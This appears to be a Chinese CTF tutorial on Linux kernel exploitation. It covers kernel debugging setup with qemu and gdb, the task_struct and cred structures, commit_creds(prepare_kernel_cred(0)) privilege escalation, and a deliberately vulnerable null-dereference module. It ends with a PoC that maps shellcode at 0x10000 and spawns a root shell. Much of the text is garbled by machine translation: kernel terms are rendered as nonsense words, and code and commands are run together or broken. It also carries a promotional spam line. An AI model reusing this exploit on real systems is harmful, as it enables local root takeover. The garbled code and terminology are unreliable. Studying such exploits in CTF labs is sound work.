本系列文章主要从ctf竞赛入手,讲解linux内核的漏洞分析、挖掘和利用。本文主要介绍内核漏洞利用所需的预备知识和准备工作。
linux内核态和用户态的区别以Intel CPU为例。根据权限级别,英特尔将CPU指令集操作的权限从高到低分为4个级别:
Ring 0(通常称为内核模式,cpu可以访问内存中的所有数据,包括硬盘、网卡等外设,cpu也可以自己从一个程序切换到另一个程序)ring 1(保留)ring 2(保留)ring 3(通常称为用户模式,只能访问有限访问的内存,不允许访问外设)如下图所示:
内环越多,cpu的权限越高,内环可以随意访问外环的资源,而外环是禁止的。所以相比用户态漏洞,内核态漏洞的破坏性更大,拿到内核权限基本上就相当于控制了整个操作系统。
【所有资源关注我,私信回复“资讯”获取一个】1。电子书(白帽子)2。大型安防工厂内部视频3。100份src文件4。常见的安全面试问题5。ctf大赛6经典题目解析。完整套件7。应急响应注释8。网络安全学习路线。
如果linux内核分析环境只是简单的搭建内核分析调试环境,一般需要手动下载相应版本的内核并编译。可以从Kernel官网下载。这里笔者下载了4.19的内核版本,在编译安装的过程中可能会遇到模块缺失的问题。可以使用apt在ubuntu上安装相应的模块。作者在本地手动安装的模块如下:
sudo apt-get install libncurses 5-dev sudo apt-get install flex sudo apt-get install bison sudo apt-get install libopenssl-dev首先使用make menuconfig生成默认的co. Nfig文件,这是一个图形化的配置。可以在内核黑客选项中启用一些调试选项,以便更好地分析内核上的漏洞。然后使用make命令进行编译。当然,这只是默认的编译选项。编译linux内核有很多选择。的默认编译会生成多个文件,包括vmlinux、System.map、bzImage等文件。在这里,我们主要关注bzImage文件,因为它是一个可加载的内核镜像文件。默认生成的x86架构在arch/x86/boot目录下。一般来说,ctf题目会给出对应的内核镜像文件、启动脚本、根文件系统等三个文件。通过这三个文件,基本可以通过qemu加载整个操作系统,进行后续的分析和调试。接下来,您需要编译文件系统。这里用busybox编译。下载源代码后,通过make menuconfig控制编译选项,在构建选项中选择静态二进制。接下来,执行make install在当前目录下生成一个_install目录,并保存编译后的文件。之后,下面的脚本将初始化系统运行所需的内容,这需要在_install目录中完成。
#!/bin/shmkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin } } echo!/bin/shmount-t proc none/proc mount-t sys fs none/sys mount-t debug fs none/sys/kernel/debugmkdir/tmpmount-t tmpfs none/tmpmdev-s exec/bin/Sh ‘ ‘ ‘ initchmod x init然后切换到_install目录,并使用压缩命令find将_install目录中的所有内容打包。| cpio-o-format=newc./rootfs.cpio,这样qemu就可以通过bzImage和rootfs.cpio运行整个内核,运行命令如下:
QEMU-系统-x86 _ 64-内核。/bZImage-initrd。/rootfs.cpio-s-append’ nokaslr ‘这样一个简单的linux系统已经启动并运行。通过-s参数,gdb可以通过远程网络连接调试内核。在中断之后,gdb中断如下:
此时,您可以中断任何包含符号的函数。对于初步测试,在这里中断new_sync_read函数,当用户输入一个命令时,它将被触发,如下所示:
已经建立了这样一个基本的内核调试和分析环境。
如何在内核环境中提升能力的基本概念对于支持多任务的Linux系统来说,用户是获取资源的凭证,本质上是其被分割的权利的归属。权限用于控制用户对计算机资源(CPU、内存、文件等)的访问。).进程是任何支持多道程序设计的操作系统中的一个基本概念。通常,进程被定义为程序执行时的一个实例。其实就是帮助我们完成各种任务的过程。用户执行的操作实际上是流程用用户身份信息执行的操作。由于进程权限是为用户执行特定操作的进程,所以当用户想要访问系统的资源时,必须给予该进程权限。也就是说,流程必须携带发起此流程的用户的身份信息,才能合法运行。
内核结构内核中所有与进程和程序相关的算法都是围绕一个叫做task_struct的数据结构展开的(4.19中这个结构有600多行,有兴趣的读者可以自行参考)。对于Linux内核,所有进程的进程描述符task_struct数据结构被链接成一个链表,这个链表是在include/sched.h中定义的,有些结构如下:
这里,我们只关注进程pid和权限控制的cred结构。pid的类型定义主要在include/linux/pid.h中,4.19包括以下内容:
枚举pid_type{ PIDTYPE_PID,PIDTYPE_TGID,PIDTYPE_PGID,PIDTYPE_SID,PIDTYPE_MAX,};您可以使用以下命令来查看:
admins @ admins-virtual-machine : ~/kernel/Linux-4.19 $ PS-T-EO tid,pid,pgid,tgid,sid,comm TID PID PGID TGID SID命令1 1 1 1 1 1 systemd 2 2 0 2 0 0 kthread 3 3 0 3 0 rcu _ gp 4 4 0 4 0 rcu _ par _ gp 6 6 0 6 0 kworker/033600h-KB 8 8080mm _ PERCPU _ WQ 9 9 09 0 0 Ksoftirqd/k 为了得到当前进程的task_struct结构,我们需要得到当前进程的pid,得到全局的内核变量init_task,这个变量保存了内核启动的初始任务的task_strcut结构的地址,而task_struct结构保存了一个循环链表tasks来跟踪所有的进程task_struct结构。 所以我们可以遍历所有的task_struct,通过比较pid值来判断是否是自己的进程。我们可以使用以下脚本:
# Helper函数在给定PID或task_struct的# address的情况下查找任务。#结果设置为$ t define find _ task if((unsigned)$ arg 0(unsigned)_ end)set $ t=(struct task _ struct *)$ arg 0 else set $ t=init _ task if(init _ task . PID!=(unsigned)$ arg 0)find _ next _ task $ t while(init _ task!=$t $t-pid!=(unsigned)$ arg 0)find _ next _ task $ t end if($ t==init _ task)printf ‘找不到任务;使用init _ task \ n ‘ END END END p $ t p *(struct task _ struct *)$ t p *(const struct cred *)$ t-credendefine find _ next _ task #给定一个任务地址,查找链表中的下一个任务set $ t=(struct task _ struct *)$ arg 0 set $ offset=((char *)$ t-tasks-(char *)$ t)set $ t=(struct task _ struct *)((char *)$ t-tasks . next-(char *).截取部分如下:
$5={ usage={ counter=0x2 },uid={ val=0x0 },gid={ val=0x0 },suid={ val=0x0 },sgid={ val=0x0 },euid={ val=0x0 },egid={ val=0x0 },fsuid={ val=0x0 },fsgid={ val=0x0 },securebits=0x0,cap_inheritable={ cap={0x0,0x0} }, cap_permitted={ cap={0xffffffff,0x3f} },cap_effective={ cap={0xffffffff,0x3f} },cap_bset={ cap={0xffffffff,0x3f} },cap_ambient={ cap={0x0,0x0} },jit_keyring=0x0,session_keyring=0x0,process_keyring=0x0,thread_keyring=0x0,request _ key _ auth=0x ffff 88000当然调试时我们可以通过这个方式比较快速的获取对应进程的任务结构结构,在编写外壳代码时一般通过寄存器的值或者直接调用相关函数来获取,这里可以参考这本书提到的两种方式,分别利用电动选择型或者(美国联邦政府职员)总表(总进度表)寄存器来获取当前进程的任务结构结构。
寄存器无符号长当前堆栈指针ASM(‘ esp ‘)静态内联结构THREAD _ info * current _ THREAD _ info(void){ return(struct THREAD _ info *)(current _ stack _ pointer ~(THREAD _ SIZE-1));} static _ _ always _ inline struct task _ struct * get _ current(void){ return current _ thread _ info()-task;}结构线程信息{结构任务_结构*任务;/*主任务结构*/struct exec _ domain * exec _ domain;/*执行域*/无符号长标志;/*低电平标志*/__u32状态;/*线程同步标志*/… }上面所述的都是在32位环境下的查找方式,在64位上的方式还是通过总表寄存器,代码如下:text : ffffffff 810 a 77 e 0 _ _ x64 _ sys _ getuid proc near;数据外部参照:rodata : ffffffff 820004 f 0o . text : ffffffff 810 a 77 e 0;rodata:FFFFFFFF82001BD8o.text:FFFFFFFF810A77E0调用_ _ fentry _ _备选名称为__ia32_sys_getuid ‘,text : ffffffff 810 a 77 e 5推送RBP。text : ffffffff 810 a 77 e 6 mov rax,GS : current _ task。text 3360 ffffffff 810 a 77 ef mov rax,[rax 0 a48h]。文本: ffffff 810 a 77 f 6莫夫RBP,RSP。文本: fff .权限提升在获取到任务结构结构体后,我们比较关注的就是其中的街头信誉结构,在任务结构中包含多个街头信誉结构,如下:
/*进程凭据: *//* Tracer的凭据at attach : */const struct cred _ _ rcu * ptracer _ cred;/*客观真实主观任务凭证(COW): */const struct cred _ _ rcu * real _ cred;/*有效(可重写)主观任务凭证(COW): */const struct cred _ _ rcu * cred;比较重要的是真实信用以及cred,它代表了Linux操作系统操作系统内核中凭据机制中的主、客体关系,主体提供自己权限的证书,客体提供访问自己所需权限的证书,根据主客体提供的证书及操作做安全性检查,其中街头信誉代表了主体证书,真实信用则代表了客体证书,信用结构体内容如下:
结构证书{ atomic_t用法;# ifdef CONFIG _ DEBUG _ CREDENTIALS原子证书订户;/*订阅的进程数*/void * put _ addr;未签名的魔术;# define CRED _ MAGIC0x 43736564 # define CRED _ MAGIC _ DEAD0x 44656144 # endif kuid _ t uid;/*任务的真实UID */kgid _ t GID;/*任务的真实GID */kuid _ t suid;/*保存的任务UID */kgid _ t sgid;/*保存的任务GID */kuid _ t euid;/*任务的有效UID */kgid _ t egid;/*任务的有效GID */kuid _ t fsuid;/* VFS行动的UID */kgid _ t fs GID;/* VFS操作的GID */未签名的securebits/*无允许安全管理*/kernel _ cap _ t cap _ inheritable;/*大写我们的孩子可以继承*/kernel _ cap _ t cap _ permitted;/*大写我们被允许*/kernel _ cap _ t cap _ effective;/*大写我们其实可以用*/kernel _ cap _ t cap _ bset;/*能力边界集*/kernel _ cap _ t cap _ ambient;/*环境功能集*/# ifdef CONFIG _ KEYS unsigned char JIT _ keyring;/*将请求的*密钥附加到*/struct key _ _ rcu * session _ key ring的默认密钥环;/*钥匙圈继承了fork */struct key * process _ key ring;/*此进程私有的key ring */struct key * thread _ key ring;/*此线程私有的密钥环*/struct key * request _ key _ auth;/*假定的request _ key authority */# endif # ifdef CONFIG _ SECURITY void * SECURITY;/*主观LSM安全性*/# endif struct user _ struct * user;/*真实用户身份订阅*/struct用户名称空间*用户名称空间;/*用户数量瓶盖和钥匙圈的相对位置* struct group _ info * group _ info;/* euid/fs GID */struct rcu _ head rcu的补充组;/* RCU删除钩*/} _ _ randomize _ layout;一般来说,提权过程可以通过如下两个函数来实现,commit _ creds(prepare _ kernel _ cred(0)).其中准备内核证书(0)负责生成一个具有根权限的街头信誉结构(本质上是获取到了初始化进程即0号进程的街头信誉结构),提交凭证()则负责将对应的街头信誉结构体进行替换,这样让当前进程具有根权限,感兴趣同学的可以阅读这两个函数的源码。那么外壳代码该如何确定这两个函数的地址呢,在我们默认的环境中是开启了越狱漏洞的,所以这两个函数地址是固定的,我们可以通过艾达山等工具对vmlinux这个可执行内核文件进行分析,加载成功后寻找提交信用函数,如下:
text : ffffffff 810 b 9810 commit _ creds proc near;CODE xref : sub _ ffffffff 810913d 5 290p . text : ffffffff 810 b 9810;sub_FFFFFFFF8109D865 15Ap.文本3360 ffffffff 810 b 9810 E8 3B 7F B4 00呼叫_ _ fentry _ _。文字3360 ffffffff 810 b 9815 55推RBP。文本: ffffffff 810 b 9816 48 89 E5莫夫RBP,RSP。正文3360 ffffffff 810 b 9819 41 55推r13。文本3360 ffffff 810 b这个函数仅仅返回,因此可以视为未另行规定除非另有规定指令,所以提交信用函数本质是从FFFFFFFF810B9815开始的,当然这里选择0xFFFFFFFF810B9810作为提交信用函数地址,准备_内核_凭证函数如下:
text : ffffffff 810 b 9 c 00 prepare _ kernel _ cred proc near;CODE xref : text : ffffffff 810 B9 c 00 E8 4B 7B B4 00 call _ _ fentry _ _ . text : ffffffff 810 B9 c 05 55 push RBP . text : ffffffff 810 B9 c 06 BE C0 00 60 00 mov ESI,6000 c0h . text 3360 ffffffff 810 B9 c 0b 48 89 E5 mov RBP,RS
Xor,rdimov rbx,0xfffffff810b9c00call rbx mov rbx,0xfffffff810b9810call rbxret当然,还有很多其他方法可以得到函数的地址,比如通过调试器或者/proc/kallsyms,这里就不赘述了。当然,还有其他提高权限的方法。当系统判断一个进程的权限时,通常会检测cred结构中的uid和gid,一直到fsgid。如果都为0,默认为root权限,那么我们也可以通过定位当前进程的cred结构,修改其内部数据内容,达到提升权限的目的。
示例基本概念可加载模块linux内核最初采用宏内核架构,其基本特点是所有内核操作都集中在一个可执行文件中。这样做的好处是模块可以直接调用,不需要通信,有效提高了内核的运行速度,缺点是缺乏可扩展性。因此,linux从2.6版本开始改进并推出了可加载内核模块(LKMS),使得内核中可以加载独立的可执行模块,为扩展内核功能提供了极大的便利。一般可加载的内核模块是通过以下命令操纵的:insmod加载内核模块lsmod列出内核模块rmod卸载内核模块在平时的ctf比赛中,大部分题目都会选择给出一个有漏洞的内核模块,玩家需要对这个模块进行分析,有针对性的利用。
保护机制a. KASLR内核空间地址随机化。堆栈保护器类似于用户层类似于用户层堆栈金丝雀。cookie被添加到内核堆栈中,以防止内核堆栈溢出。c. SMAP管理模式访问保护,禁止内核层访问用户状态数据。d. SMEP管理模式执行保护。内核层禁止执行用户状态码e . MMAP _最小_ADDR mmap函数可以申请的最小地址。f. KPTI内核页表无法隔离空指针类型的漏洞,主要目的是缓解cpu端的通道攻击,绕过kaslr。
与用户内核的交互a. syscall在用户空间和内核空间之间,有一个中间层叫做syscall(系统调用),是用户状态和内核状态之间的桥梁。这样既提高了内核的安全性,又方便了移植,只需要实现相同的windows sockets。在Linux系统中,用户空间向内核空间发送Syscall,内核空间产生软中断,使程序陷入内核状态,执行相应的操作。b. iotcl本质上是一个系统调用,但它是用来直接向驱动程序发送或接收指令和数据的。c .打开、读取、写入因为驱动设备映射到一个文件,所以可以通过访问该文件来操作驱动程序。
类型a .未初始化/未验证/损坏的指针解引用内核空指针解引用b .内存损坏内核堆栈漏洞、内核堆漏洞c .整数问题(算术)整数溢出、符号转换问题d .竞争条件双重获取漏洞
漏洞样本这次利用了一个空指针解引用的漏洞进行内核加权。该模块的源代码如下:
# include # include # include # include # include void(* my _ funptr)(void)=0x 10000;ssize _ t nullp _ write(struct file * file,const char __user *buf,size_t len,loff _ t * loff){ my _ funptr();返回len } static int _ _ init null _ de reference _ init(void){ printk(KERN _ ALERT ‘ null _ de reference驱动程序初始化!n’);静态构造结构file _ operations mytest _ proc _ fops={ .write=nullp_write,};proc_create(‘test_kernel_npd ‘,0666,0,mytest _ proc _ fops);返回0;} static void _ _ exit null _ de reference _ exit(void){ printk(KERN _ ALERT ‘ null _ de reference driver exitn ‘);}模块_初始化(null _ de引用_初始化);模块_出口(null _ de引用_出口);虽然说是空指针解引用,但其实由于Linux操作系统操作系统内核中的ADDRMMAP明缓解机制导致在用户层通过内存映射函数申请0地址失败,因此将要调用的函数地址改到了0x10000,这样用户层也可以控制这个地址,方便后面的漏洞利用。首先利用虚拟机启动对应的操作系统,这里由于默认的移植根文件系统无法正常通过adduser添加其它用户,因此这里笔者直接使用了作为根文件系统,并添加一个试验用户,这样便于查看提权是否成功。启动系统后通过挂载模块命令装载存在漏洞的内核模块,如下:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-whm M9 AGT-1642497903738)(https://上传-图片。金淑。io/upload _ images/26472780-5444 db 624 f 0191 da。png图像mogr 2/自动定向/条形|图像视图2/2/w/1240)]然后通过苏试验切换到试验用户,如下:
验证性测试(概念验证的缩写)代码如下,编译后已经提前放到了根文件系统目录下,直接执行就好
# include # include # include # include #包含无符号char * mypoc=’ H1 \ xffH \ xc7 \ xc3 \ x00 \ x9c \ x0b \ x81 \ xff \ xd3H \ xc7 \ xc3 \ X10 \ x98 \ x0b \ x81 \ xff \ xd3 \ xc3 ‘;int main(){ void * add r0=mmap(0x 10000,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP _ FIXED | MAP _ PRIVATE | MAP _ ANONYMOUS,-1,0);memcpy(addr0,mypoc,24);int MFD=open(‘/proc/test _ kernel _ NPD ‘,O _ RDWR);int res=write(mfd,运行外壳代码’,14);system(‘/bin/bash ‘);返回0;}执行结果如下:
此时可以看出已经成功提权。